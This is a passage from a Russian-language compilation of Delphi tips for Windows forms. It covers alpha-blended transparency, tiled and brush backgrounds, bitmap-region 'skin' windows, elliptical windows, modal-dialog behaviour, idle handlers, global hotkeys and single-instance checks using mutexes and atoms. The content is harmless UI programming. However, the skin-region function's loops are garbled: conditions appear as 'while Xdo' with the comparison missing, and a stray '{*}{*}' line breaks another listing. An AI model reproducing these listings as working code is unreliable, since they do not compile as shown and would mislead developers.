  SetLayeredWindowAttributes(Handle, 0, Byte(196), 2);
end;

end.

...

const
  WS_EX_LAYERED = $80000;

type
TSetLayeredWindowAttributes = function(hWnd : HWND; crKey : DWORD;
bAlpha : Byte; dwFlags : DWORD) : BOOL; stdcall;

...

procedure TForm1.FormCreate(Sender: TObject);
var
  SetLayeredWindowAttributes : TSetLayeredWindowAttributes;
  hUser32 : HINST;
begin
  SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);

  hUser32 := LoadLibrary('user32.dll');
  if hUser32 <> 0 then
  begin
    try
      SetLayeredWindowAttributes := GetProcAddress(hUser32, 'SetLayeredWindowAttributes');
      if Assigned(@SetLayeredWindowAttributes) then
        SetLayeredWindowAttributes(Handle, 0, Byte(196), 2);
    finally
      FreeLibrary(hUser32);
    end;
  end;
end;


К заголовку




" Прозрачность в D6
В Delphi 6 разработчикам Windows-приложений доступна одна из замечательных возможностей создавать (полу)прозрачные
формы (окна). В Delphi 6 класс TForm поддерживает формы со слоями, которые имеют свойства AlphaBlend, AlphaBlendValue
TransparentColor, и TransparentColorValue.

Прозрачность в форме означает то, что пользователь может видить то, что находится позати формы.

Чтобы подготовить форму к прозрачности, Вам потребуется установить свойство AlphaBlend в True. Если AlphaBlend
установлено в True, то свойство AlphaBlendValue указывает степень прозрачности. Это свойство позволяет задать
значения от 0 до 255. 0 указывает на полную прозрачность окна, в то время как 255 указывает на непрозрачное окно.

Так же возможно устанавливать свойства AlphaBlend и AlphaBlendValue во время разработки (или во время выполнения
приложения) при помощи Object Inspector.

Возможно, Вы подумаете, что такая возможность в Delphi, может Вам пригодиться довольно редко, однако прозрачностью
можно довольно эффективно привлекать внимание пользователей Вашей программы:

procedure TAboutBox.FormClose
  (Sender: TObject; var Action: TCloseAction);
var
  i, cavb: 0..255;
begin
  if AlphaBlend = False then
  begin
    AlphaBlendValue := 255;
    AlphaBlend := True;
  end;
  cavb := AlphaBlendValue;

  for i := cavb downto 0 do
  begin
    AlphaBlendValue := i;
    Application.ProcessMessages;
  end
end;

Вышеприведённый код, в событие OnClose для формы about, создаёт плавно изменяющийся эффект. Когда пользователь
попытается закрыть диалоговое окошко, то форма плавно исчезнет. Делается это путём циклического уменьшения
AlphaBlendValue до нуля.

Другие два новый свойства формы в Delphi 6, это TransparentColor и TransparentColorValue. TransparentColor, это
булевое свойство, которое указывает, будет определённый цвет, указанный в TransparentColorValue прозрачным.
То есть мы можем задать прозрачность только определённому цвету.

И взаключении хотелось бы указать на главный недостаток. Все свойства, описанные выше, не будут работать, если
приложение запущено не под Windows 2000 или выше, и если процессор на компьютере ниже P90.
К заголовку




" Сделать сложный фон окна
Фон окна может представлять собой повторяющиеся картинки произвольного размера.

procedure TForm1.FormCreate(Sender: TObject);
begin
  bm := TBitMap.Create;
  bm.LoadFromFile('Example.bmp');
end;

procedure TForm1.FormPaint(Sender: TObject);
var
  x, y: integer;
begin
  for x := 0 to Form1.ClientWidth div bm.Width do
    for y := 0 to Form1.ClientHeight div bm.Height do
      Form1.Canvas.Draw(x * bm.Width, y * bm.Height, bm);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  bm.Destroy;
end;


Вы можете использовать для "подложки" формы любой стиль кисти. Таким образом, можно получить окно "в полосочку",
"в сеточку" и т.д.

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.Brush.Style := bsDiagCross;
end;


Ту же задачу можно решить, используя свойство кисти Bitmap, позволяющее создавать свои стили. Размер картинки при
этом всегда равен 8X8.

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.Brush.Bitmap := TBitMap.Create;
  Form1.Brush.Bitmap.LoadFromFile('Phone.bmp');
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  Form1.Brush.Bitmap.Destroy;
end;


К заголовку




" Скины
Немного предистории:

    надо было мне создать скиновое окошко. Вроде несложно, исходников по этому делу везде лежит навалом,
бери да делай. Проблема организовалась в том, что для сложных фигур просчет такого окна из растра занимает достаточно
много времени. А когда окон несколько? Короче, я решил все это дело написать самостоятельно, причем отказавшись от
таких вещей, как GetPixel() и CombineRgn(). Получилось вроде здорово и быстро.

Далее следует исходный код с комментариями:

unit RgnUnit;

interface

uses
  Windows, SysUtils, Classes;

function CreateBitmapRgn(DC : hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
{
Данная функция создает регион, используя для этого растр Bitmap
и исключая из него цвет TransClr. Все расчеты производятся для
устройства DC.

данная функция состоит из двух частей:

первая часть выделяет память и копирует туда исходное изображение в формате
24 бита на точку, без палитры, т.е. фактически в каждых трех байтах
данного раздела памяти будет записан цвет точки исходного изображения.
Данный формат был выбран из удобства его обработки
(нет необходимости создавать палитру), к тому же нет потери качества
при конвертации исходного изображения. Однако, теоретически можно использовать
любой формат.

Для выделения памяти под конвертируемое изображение используется функция
WinAPI CreateDIBSection. Данная функция выделяет память и создает
независмый растр. Для вызова данной функции необходимо заполнить структуру
BITMAPINFO, что достаточно не сложно.
Внимание! для изображений Windows Bitmap используется разрешение в формате
dots per metr (pixels per metr), стандартному разрешению 72dpi соответствует
2834dpm.

Фактически, данную функция можно не использовать, вручную выделив память
для последующего переноса исходного изображения.

Для конвертации и переноса исходного изображения в выделнную память
используется функция WinAPI GetDIBits. Функции передаются следуюшие параметры:
исходное изображение, количество рядов для переноса, указатель на память,
куда следует перенести изображение, структура BITMAPINFO с заполнеными первыми
шестью членами (именно здесь задяются параметры для конвертирования
изображения). Фактически, данная функция может перевести любой исходный растр
в любой необходимый растр.

вторая чать описываемой функции проходится по области памяти, куда было
занесено конвертируемое изображение, отсекает ненужные области и содает регион.
Для создания региона используется функция WinAPI ExtCreateRegion. Для вызова
данной функции необходимо заполнить структуру RGNDATA, состоящую из структуры
RGNDATAHEADER и необходимого количества структур RECT. в Дельфи структура
RGNDATA описана так:

_RGNDATA = record
rdh: TRgnDataHeader;
Buffer: array[0..0] of CHAR;
Reserved: array[0..2] of CHAR;
end;
RGNDATA = _RGNDATA;

Скорее всего, поле Reserved было введено программистами Дельфи только для того,
чтобы в нее умещался хотя бы один прямоугольник, т.к. в Microsoft Platfrom SDK
этого поля нет. Однако, данная структура нам не подходит, т.к. нам необходимо
учитывать сразу несколько прямоугольников. Для решения этой задачи приходится
выделять память вручную, с учетом RGNDATAHEADER и количества прямоугольников,
необходимых нам, заносить туда прямоугольники (после RGNDATAHEADER),
создавать указатель на структуру RGNDATA и ставить его на выделнную память.

Следовательно, придется два раза пройтись по растру: первый раз - для расчета
количества прямоугольников, а второй - для уже фактического их занесения
в выделенную память.

Есть несколько способов для избежания двойного прохода растра, но все они
имеют свои недостатки и здесь не рассматриваются. В любом случае, даже для
больших и сложных изображений эти два прохода достаточно быстры.

по окнчании работы функции освобождается память, выделенная на конвертируемый
растр и структуру RGNDATA.
}

implementation

//создает регион из растра Bitmap для DC с удалением цвета TransClr
//внимание! TColorRef и TColor не одно и тоже.
//Для перевода используется функция ColorToRGB().

function CreateBitmapRgn(DC: hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
var
  bmInfo: TBitmap;               // структура BITMAP WinAPI
  W, H: Integer;                 // высота и ширина растра
  bmDIB: hBitmap;                // дискрептор независимого растра
  bmiInfo: BITMAPINFO;           // структура BITMAPINFO WinAPI
  lpBits, lpOldBits: PRGBTriple; // указатели на структуры RGBTRIPLE WinAPI
  lpData: PRgnData;              // указатель на структуру RGNDATA WinAPI
  X, Y, C, F, I: Integer;        // переменные циклов
  Buf: Pointer;                  // указатель
  BufSize: Integer;              // размер указателя
  rdhInfo: TRgnDataHeader;       // структура RGNDATAHEADER WinAPI
  lpRect: PRect;                 // указатель на TRect (RECT WinAPI)
begin
  Result:=0;
  //если растр не задан, выходим
  if Bitmap=0 then
    Exit;

  //узнаем размеры растра
  GetObject(Bitmap, SizeOf(bmInfo), @bmInfo);
  //используя структуру BITMAP
  W:=bmInfo.bmWidth;
  H:=bmInfo.bmHeight;
  //определяем смещение в байтах
  I:=(W*3)-((W*3) div 4)*4;
  if I<>0 then
    I:=4-I;

  //Пояснение: растр Windows Bitmap читается снизу вверх, причем каждая строка
  //дополняется нулевыми байтами до ее кратности 4.
  //для 32-х битный растров такой сдвиг делать не надо.

  //заполняем BITMAPINFO для передачи в CreateDIBSection

  bmiInfo.bmiHeader.biWidth:=W;            // ширина
  bmiInfo.bmiHeader.biHeight:=H;           // высота
  bmiInfo.bmiHeader.biPlanes:=1;           // всегда 1
  bmiInfo.bmiHeader.biBitCount:=24;        // три байта на пиксель
  bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компрессии
  bmiInfo.bmiHeader.biSizeImage:=0;        // размер не знаем, ставим в ноль
  bmiInfo.bmiHeader.biXPelsPerMeter:=2834; // пикселей на метр, гор.
  bmiInfo.bmiHeader.biYPelsPerMeter:=2834; // пикселей на метр, верт.
  bmiInfo.bmiHeader.biClrUsed:=0;          // палитры нет, все в ноль
  bmiInfo.bmiHeader.biClrImportant:=0;     // то же
  bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структруы
  bmDIB:=CreateDIBSection(DC, bmiInfo, DIB_RGB_COLORS,
  Pointer(lpBits), 0, 0);
  //создаем независимый растр WxHx24, без палитры, в указателе lpBits получаем
  //адрес первого байта этого растра. bmDIB - дискрептор растра

  //заполняем первые шесть членов BITMAPINFO для передачи в GetDIBits

  bmiInfo.bmiHeader.biWidth:=W;            // ширина
  bmiInfo.bmiHeader.biHeight:=H;           // высота
  bmiInfo.bmiHeader.biPlanes:=1;           // всегда 1
  bmiInfo.bmiHeader.biBitCount:=24;        // три байта на пиксель
  bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компресси
  bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структуры
  GetDIBits(DC, Bitmap, 0, H-1, lpBits, bmiInfo, DIB_RGB_COLORS);
  //конвертируем исходный растр в наш с его копированием по адресу lpBits

  lpOldBits:=lpBits; //запоминаем адрес lpBits

  //первый проход - подсчитываем число прямоугольников, необходимых для
  //создания региона
  C:=0; //сначала ноль
  //проход снизу вверх
  for Y:=H-1 downto 0 do
  begin
    X:=0;
    //от 0 до ширины-1
    while Xdo
    begin
      //пропускаем прзрачный цвет, увеличивая координату и указатель
      while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)=TransClr) and (Xdo
      begin
        Inc(lpBits);
        X:=X+1;
      end;
      //если нашли не прозрачный цвет, то считаем, сколько точек в ряду он идет
      if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)<>TransClr then
      begin
        while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
        lpBits.rgbtBlue)<>TransClr) and (Xdo
        begin
          Inc(lpBits);
          X:=X+1;
        end;
        //увиличиваем счетчик прямоугольников
        C:=C+1;
      end;
    end;
    //ряд закончился, необходимо увеличить указатель до кратности 4
    PChar(lpBits):=PChar(lpBits)+I;
  end;

  lpBits:=lpOldBits; //восстанавливаем значение lpBits

  //Заполняем структуру RGNDATAHEADER
  rdhInfo.iType:=RDH_RECTANGLES;     // будем использовать прямоугольники
  rdhInfo.nCount:=C;                 // их количество
  rdhInfo.nRgnSize:=0;               // размер выделяем памяти не знаем
  rdhInfo.rcBound:=Rect(0, 0, W, H); // размер региона
  rdhInfo.dwSize:=SizeOf(rdhInfo);   // размер структуры

  //выделяем память для струтуры RGNDATA:
  //сумма RGNDATAHEADER и необходимых на прямоугольников
  BufSize:=SizeOf(rdhInfo)+SizeOf(TRect)*C;
  GetMem(Buf, BufSize);
  //ставим указатель на выделенную память
  lpData:=Buf;
  //заносим в память RGNDATAHEADER
  lpData.rdh:=rdhInfo;

  //Заполдяенм память прямоугольниками
  lpRect:=@lpData.Buffer; //первый прямоугольник
  for Y:=H-1 downto 0 do
  begin
    X:=0;
    while Xdo
    begin
      while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)=TransClr) and (Xdo
      begin
        Inc(lpBits);
        X:=X+1;
      end;
      if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)<>TransClr then
      begin
        F:=X;
        while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
        lpBits.rgbtBlue)<>TransClr) and (Xdo
        begin
          Inc(lpBits);
          X:=X+1;
        end;
        lpRect^:=Rect(F, Y, X, Y+1); //заносим координаты
        Inc(lpRect); //переходим к следующему
      end;
    end;
    PChar(lpBits):=PChar(lpBits)+I;
  end;

  //после окночания заполнения структуры RGNDATA можно создавать регион.
  //трансформации нам не нужны, ставим в nil, указываем размер
  //созданной структуры и ее саму.

  //создаем регион
  Result:=ExtCreateRegion(nil, BufSize, lpData^);

  //теперь структура RGNDATA больше не нужна, удаляем
  FreeMem(Buf, BufSize);
  //созданный растр тоже удаляем
  DeleteObject(bmDIB);
end;

end.


К заголовку




" Создание фона на форме
Как заполнить фон моей формы повторяющимся изображением?

unit Unit1;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Bitmap: TBitmap;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  Bitmap := TBitmap.Create;
  Bitmap.LoadFromFile('C:\WINDOWS\cars.BMP');
end;

procedure TForm1.FormPaint(Sender: TObject);
var
  X, Y, W, H: LongInt;
begin
  with Bitmap do
  begin
    W := Width;
    H := Height;
  end;
  Y := 0;
  while Y < Height do
  begin
    X := 0;
    while X < Width do
    begin
      Canvas.Draw(X, Y, Bitmap);
      Inc(X, W);
    end;
    Inc(Y, H);
  end;
end;

end.


К заголовку




" Эллипсовидное окно
Для начала нужно обеспечить возможность пользователю перемещать окно, хватаясь за клиентскую область, а не за заголовочную,
.к. полосы заголовка, собственно, у нас нет.

Сначала в частных объявлениях (после слова private) объявляем процедуру:

private
procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;


Затем в разделе implementation описываем её так:

implementation
{$R *.DFM}

procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
  inherited;
  if M.Result = htClient then
    M.Result := htCaption;
end;


Далее самое главное. По созданию окна (событие OnCreate) пишем следующий код:

procedure TForm1.FormCreate(Sender: TObject);
var
  hsWindowRegion: Integer;
begin
  hsWindowRegion := CreateEllipticRgn(50, 50, 350, 200);
  SetWindowRgn(Handle, hsWindowRegion, true);
end;

К заголовку




" Заставить мерцать заголовок модального окна при щелчке на одительской форме
{
  Under windows 2000/XP,if user open a modal dialog,
  when the user click the modal form's parent form,
  windows can flash the modal form title bar,how to do it by delphi?
  you may create base form,let you modal form inherite from the base form,
  and add under codes to the base form source:
}

 type
   TFrmBase = class(TForm)
   protected
     procedure CreateParams(var Para: TCreateParams); override;
     {....}
   end;

   {.....}

 implementation

 procedure TFrmBase.CreateParams(var Para: TCreateParams);
 begin
   inherited;
   Para.WndParent := GetActiveWindow;
 end;


К заголовку




" Изменение модального статуса формы
Вы не можете изменить статус формы с не-модального на модальный без ее закрытия и повторного открытия.

Тем не менее, вы можете достигнуть этой цели, блокируя (disabling) все остальные открытые формы. Следующий пример
переключает модальный статус формы в зависимости от нахождения таблицы в режиме редактирования:

procedure TForm2.DataSource1StateChange(Sender: TObject);
var
  ix: integer;
  b: boolean;
begin
  with (Sender as TDataSource).DataSet do
    b := (State = dsBrowse);
  with Screen do
    for ix := 0 to FormCount - 1 do
      if Forms[ix] <> ActiveForm then
        Forms[ix].Enabled := b;
end;


Примечание: вам также потребуется предотвращение закрытия формы, пока таблица находится в режиме редактирования
(через обработчик события OnCloseQuery).
К заголовку




" Как вывести окно модальное для всех окон кроме одного
procedure ShowAlmostModal(FormModal:TForm);
begin
  NavigatorForm.Enabled := false;
  FormModal.ShowModal
end;


И вот это пpивесь на OnShow почти модальной фоpмы

procedure FormShow(Sender:Tobject);
begin
  NavigatorForm.Enabled := true;
end;


К заголовку




" Как сделать окно системно-модальным
Используйте функцию Windows API SetSysModalWindow(). Код ниже демонстрирует технологию работы с этой функцией.
В любой момент времени может быть возможен только один модально-системны диалог, чей дескриптор возвращается
функцией SetSysModalWindow(). Вам необходимо запомнить возвращаемую функцией величину для того, чтобы завершить
показ диалога таким образом. Вот как примерно это должно выглядеть:

procedure TForm1.Button1Click(Sender: TObject);
var
  x: word ;
begin
  x := SetSysModalWindow(AboutBox.handle) ;
  AboutBox.showmodal ;
  SetSysModalWindow(x) ;
end;


К заголовку




" Минимизация с модальным окном
Мне нужно откpыть из моей фоpмы модальное окно, т.е. пpиостановить pаботу в моей фоpме до обpаботки этого
модального окна. Hо пpи этом я теpяю возможность убpать (минимизиpовать) мою фоpму

function TMyForm.Execute: TModalResult;
begin
  Show;
  try
    SendMessage(Handle, CM_ACTIVATE, 0, 0);
    ModalResult := 0;
    repeat
      Application.HandleMessage;
      if Application.Terminated then
        ModalResult := mrCancel;
      if ModalResult = mrCancel then
        CloseModal;
    until ModalResult <> 0;
    Hide;
    Result := ModalResult;
    SendMessage(Handle, CM_DEACTIVATE, 0, 0);
  finally
    Hide;
  end;
end;


Конечно, в TMyForm должно быть FormStyle := fsStayOnTop;
К заголовку




" Разрушение модальной формы при деактивации
procedure TForm1.AppDeactivate(Sender: TObject);
var
  hw: HWnd;
  CurTask: THandle;
  WndStyle: Longint;
begin
  CurTask := GetWindowTask(handle);
  hw := GetWindow(GetDesktopWindow, GW_CHILD);
  while GetWindowTask(hw) <> CurTask do
    hw := GetWindow(hw, GW_HWNDNEXT);
  while (hw <> handle) and (GetWindowTask(hw) = CurTask) do
  begin
    PostMessage(hw, WM_Close, 0, 0);
    hw := GetWindow(hw, GW_HWNDNEXT);
  end;
end;


К заголовку




" Узнать, модальная ли форма
procedure TForm1.Button1Click(Sender: TObject);
 begin
   if (fsModal in FormState) then
     ShowMessage('Form is modal.');
 end;
К заголовку




" Установление фокуса при открытии модального окна
Способ решения, который мне видится на примере отображения формы с lookup-таблицей, необходимой для ввода
данных, и которая должна иметь фокус вне зависимости от способа ее вызова.

Это должно выглядеть приблизительно так:

in fMain.formCreate:
fLookup := tFLookup.create (self);
{отсюда был удален код показа (show)}

in fMain.btn1Click:
fEntry := tFentry.create (self);
fEntry.showModal;

in fMain.LookupButtonClick:
fLookup.showMODAL;

in fEntry.LookupButtonClick:
fLookup.showMODAL;

in fLookup.DoneButtonClick:
fLookup.Hide;


К заголовку




" Активизация предыдущего экземпляра вашей программы
Если внутренняя переменная hPrevInst не равна нулю, то она содержит дескриптор предыдущего запущенного
экземпляра вашей программы. Вы просто находите открытое окно по его дескриптору и, при необходимости,
выводите на передний план. Весь код расположен в файле .DPR file, НЕ в модуле. Строки, которые вам необходимо
добавить к вашему .DPR-файлу, в приведенном ниже примере помечены {*}.

program Once;

uses
{*}  WinTypes, WinProcs, SysUtils,

Forms,
Onceu in 'ONCEU.PAS' {Form1};

{$R *.RES}
{*}TYPE
{*}  PHWND = ^HWnd;

{*}  FUNCTION EnumWndProc(H : hWnd; P : PHWnd) : Integer; Export;
{*}  VAR ClassName : ARRAY[0..30] OF Char;
{*}  BEGIN
{*}    {Если это окно принадлежит предшествующему экземпляру...}
{*}    IF GetWindowWord(H, GWW_HINSTANCE) = hPrevInst THEN
{*}      BEGIN
{*}        {... проверяем КАКОЕ это окно.}
{*}        GetClassName(H, ClassName, 30);
{*}        {Если это главное окно приложения...}
{*}        IF StrIComp(ClassName, 'TApplication') = 0 THEN
{*}          BEGIN
{*}            {... ищем}
{*}{*}            P^ := H;
{*}            EnumWndProc := 0;
{*}          END;
{*}      END;
{*}  END;

{*}  PROCEDURE CheckPrevInst;
{*}  VAR PrevWnd : hWnd;
{*}  BEGIN
{*}    IF hPrevInst <> 0 THEN
{*}      {Предыдущий экземпляр запущен}
{*}      BEGIN
{*}        PrevWnd := 0;
{*}        EnumWindows(@EnumWndProc, LongInt(@PrevWnd));
{*}        {Ищем дескриптор окна предыдущего}
{*}        {экземпляра и активизируем его}
{*}        IF PrevWnd <> 0 THEN
{*}          IF IsIconic(PrevWnd) THEN
{*}            ShowWindow(PrevWnd, SW_SHOWNORMAL)
{*}          ELSE BringWindowToTop(PrevWnd);
{*}        Halt;
{*}      END;
{*}  END;
begin
{*}  CheckPrevInst;

Application.Title := 'Once';
Application.CreateForm(TForm1, Form1);
Application.Run;
end.


К заголовку




" Анализировать параметры командной строки при загрузке программы
if ParamCount > 0 then
begin
  // Сюда поместите Ваш код, анализирующий ParamStr(1)
end
else
begin
  // а здесь укажите, что делать если парамер не был введен.
  // Это может быть, например, установка параметров по умолчанию
  // или
  // halt // если без введенных параметров программа
  // вообще не должна выполняться
end;
application.run;



К заголовку




" Выполнить код, когда приложение простаивает

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
    procedure MyIdleHandler(Sender: TObject; var done: Boolean);
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.MyIdleHandler(Sender: TObject; var done: Boolean);
begin
  // do something here
  // hier irgendwas tun
  Self.Left  := Random(Screen.Width - Self.Width);
  Self.Top   := Random(Screen.Height - Self.Height);
  Edit1.Text := TimeToStr(now);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  dt, dtn: TDateTime;
begin
  // simulate heavy calculatin with this button
  // umfangreiche Berechnungen simulieren
  dt := Now;
  repeat
    dtn := Now;
  until dtn > (dt + 10 / 3600 / 24);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  // assign the Handler to OnIdle of the Application
  // den Handler dem OnIdle von Application zuweisen
  Application.OnIdle := MyIdleHandler;
end;

end.

К заголовку




" Выставляем горячие клавиши для Delphi приложения
Как сделать так, чтобы при минимизации приложения в Tray его можно было вызвать определённой комбинацией
 клавиш, например Alt-Shift-F9 ?

//В обработчике события OnCreate
//основной формы создаём горячую клавишу:

if not RegisterHotkey(Handle, 1, MOD_ALT or MOD_SHIFT, VK_F9) then
  ShowMessage('Unable to assign Alt-Shift-F9 as hotkey.');

//В событии OnClose удаляем горячую клавишу:
UnRegisterHotkey( Handle, 1 );

//Добавляем обработчик в форму для сообщения
//WM_HOTKEY:

private // в секции объявлений формы
  procedure WMHotkey( var msg: TWMHotkey ); message WM_HOTKEY;

procedure TForm1.WMHotkey( var msg: TWMHotkey );
begin
  if msg.hotkey = 1 then
  begin
    if IsIconic( Application.Handle ) then
      Application.Restore;
    BringToFront;
  end;
end;


К заголовку




" Деактивация приложения
Если вы хотите что-то сделать когда ваше приложение теряет фокус, используйте обработчик события Application.onDeactivate.
Добавьте следующую строку в обработчик формы FormCreate:

Application.OnDeactivate=AppDeactivate;


Затем создайте следующий метод:

procedure Form1.AppDeactivate(Sender: TObject);
begin
  ...
  { здесь ваш код}
  ...
end;



К заголовку




" Запретить запуск второго экземпляра программы
В Windows 95, по-моему, это самый простой работающий вариант. Этот текст должен находиться в модуле проекта (добраться до
него можно через меню View/Project Source).

program Project1;

uses
  Forms,
  Windows, // не забудьте эту строчку
  Unit1 in 'Unit1.pas' {Form1};

  {$R *.RES}

var
  HM: THandle;
function Check: boolean;
begin
  HM := OpenMutex(MUTEX_ALL_ACCESS, false, 'MyOwnMutex');
  Result := (HM <> 0);
  if HM = 0 then
    HM := CreateMutex(nil, false, 'MyOwnMutex');
end;

begin
  if Check then
    Exit;
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

--------------------------------------------------------------------------------

var
  AtomText: array [0..31] of Char;

procedure LookForPreviousInstance;
var
  PreviousInstanceWindow : hWnd;
  AppName : array[0..30] of char;
  FoundAtom : TAtom;
begin
  // помещаем имя приложения в AtomText
  StrFmt(AtomText, 'OnlyOne%s', [Copy(Application.Title,1,20)]);
  // Проверяем, не создано ли уже атома с таким именем приложения
  FoundAtom := GlobalFindAtom(AtomText);
  if FoundAtom <> 0 then { эта копия приложения уже запущена }
  begin
    StrFmt(AppName,'%s', [Application.Title]);
    // изменяем текущий заголовок, чтобы FindWindow не видела его
    Application.ShowMainForm := false;
    Application.Title := 'destroy me';
    // ищем предыдущую копию приложения
    PreviousInstanceWindow := FindWindow(nil,AppName);
    // Передаём фокус на предыдущую копию приложения
    // завершаем текущую копию
    Application.Terminate;

    if PreviousInstanceWindow <> 0 then
      if IsIconic(PreviousInstanceWindow) then
        ShowWindow(PreviousInstanceWindow,SW_RESTORE)
      else
        SetForegroundWindow(PreviousInstanceWindow);
  end;
  // создаём глобальный атом, чтобы предотвратить
  // запуск другой копии приложения
  FoundAtom := GlobalAddAtom(AtomText);
end;

constructor TForm.Create(AOwner: TComponent);
begin
  inherited;
  LookForPreviousInstance;
end;

destructor TForm.Destroy;
var
  FoundAtom : TAtom;
  ValueReturned : word;
begin
  // не забудьте удалить глобальный атом
  FoundAtom := GlobalFindAtom(AtomText);
  if FoundAtom <> 0 then
    ValueReturned := GlobalDeleteAtom(FoundAtom);
  inherited Destroy;
end;

---------------------------------------------


В блоке begin..end модуля .dpr:

begin
  if HPrevInst <>0 then
  begin
    ActivatePreviousInstance;
    Halt;
  end;
end;


Реализация в модуле:

unit PrevInst;

interface

uses
  WinProcs,
  WinTypes,
  SysUtils;

type
  PHWnd = ^HWnd;

function EnumApps(Wnd: HWnd; TargetWindow: PHWnd): bool; export;

procedure ActivatePreviousInstance;

implementation

function EnumApps(Wnd: HWnd; TargetWindow: PHWnd): bool;
var
  ClassName: array[0..30] of char;
begin
  Result := true;
  if GetWindowWord(Wnd, GWW_HINSTANCE) = HPrevInst then
  begin
    GetClassName(Wnd, ClassName, 30);
    if STRIComp(ClassName, 'TApplication') = 0 then
    begin
      TargetWindow^ := Wnd;
      Result := false;
    end;
  end;
end;

procedure ActivatePreviousInstance;
var
  PrevInstWnd: HWnd;
begin
  PrevInstWnd := 0;
  EnumWindows(@EnumApps, LongInt(@PrevInstWnd));
  if PrevInstWnd <> 0 then
    if IsIconic(PrevInstWnd) then
      ShowWindow(PrevInstWnd, SW_Restore)
    else
      BringWindowToTop(PrevInstWnd);
end;

end.



---------------------------------------------

unit MultInst;

interface

const
  MI_QUERYWINDOWHANDLE = 1;
  MI_RESPONDWINDOWHANDLE = 2;

  MI_ERROR_NONE = 0;
  MI_ERROR_FAILSUBCLASS = 1;
  MI_ERROR_CREATINGMUTEX = 2;

  // Call this function to determine if error occurred in startup.
  // Value will be one or more of the MI_ERROR_* error flags.
function GetMIError: Integer;

implementation

uses Forms, Windows, SysUtils;

const
  UniqueAppStr = 'DDG.I_am_the_Eggman!';

var
  MessageId: Integer;
  WProc: TFNWndProc;
  MutHandle: THandle;
  MIError: Integer;

function GetMIError: Integer;
begin
  Result := MIError;
end;

function NewWndProc(Handle: HWND; Msg: Integer; wParam, lParam: Longint):
  Longint; stdcall;
begin
  Result := 0;
  // If this is the registered message...
  if Msg = MessageID then
  begin
    case wParam of
      MI_QUERYWINDOWHANDLE:
        // A new instance is asking for main window handle in order
        // to focus the main window, so normalize app and send back
        // message with main window handle.
        begin
          if IsIconic(Application.Handle) then
          begin
            Application.MainForm.WindowState := wsNormal;
            Application.Restore;
          end;
          PostMessage(HWND(lParam), MessageID, MI_RESPONDWINDOWHANDLE,
            Application.MainForm.Handle);
        end;
      MI_RESPONDWINDOWHANDLE:
        // The running instance has returned its main window handle,
        // so we need to focus it and go away.
        begin
          SetForegroundWindow(HWND(lParam));
          Application.Terminate;
        end;
    end;
  end
    // Otherwise, pass message on to old window proc
  else
    Result := CallWindowProc(WProc, Handle, Msg, wParam, lParam);
end;

procedure SubClassApplication;
begin
  // We subclass Application window procedure so that
  // Application.OnMessage remains available for user.
  WProc := TFNWndProc(SetWindowLong(Application.Handle, GWL_WNDPROC,
    Longint(@NewWndProc)));
  // Set appropriate error flag if error condition occurred
  if WProc = nil then
    MIError := MIError or MI_ERROR_FAILSUBCLASS;
end;

procedure DoFirstInstance;
// This is called only for the first instance of the application
begin
  // Create the mutex with the (hopefully) unique string
  MutHandle := CreateMutex(nil, False, UniqueAppStr);
  if MutHandle = 0 then
    MIError := MIError or MI_ERROR_CREATINGMUTEX;
end;

procedure BroadcastFocusMessage;
// This is called when there is already an instance running.
var
  BSMRecipients: DWORD;
begin
  // Prevent main form from flashing
  Application.ShowMainForm := False;
  // Post message to try to establish a dialogue with previous instance
  BSMRecipients := BSM_APPLICATIONS;
  BroadCastSystemMessage(BSF_IGNORECURRENTTASK or BSF_POSTMESSAGE,
    @BSMRecipients, MessageID, MI_QUERYWINDOWHANDLE,
    Application.Handle);
end;

procedure InitInstance;
begin
  SubClassApplication; // hook application message loop
  MutHandle := OpenMutex(MUTEX_ALL_ACCESS, False, UniqueAppStr);
  if MutHandle = 0 then
    // Mutex object has not yet been created, meaning that no previous
    // instance has been created.
    DoFirstInstance
  else
    BroadcastFocusMessage;
end;

initialization
  MessageID := RegisterWindowMessage(UniqueAppStr);
  InitInstance;
finalization
  // Restore old application window procedure
  if WProc <> nil then
    SetWindowLong(Application.Handle, GWL_WNDPROC, LongInt(WProc));
  if MutHandle <> 0 then
    CloseHandle(MutHandle); // Free mutex
end.

unit OIMain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TMainForm = class(TForm)
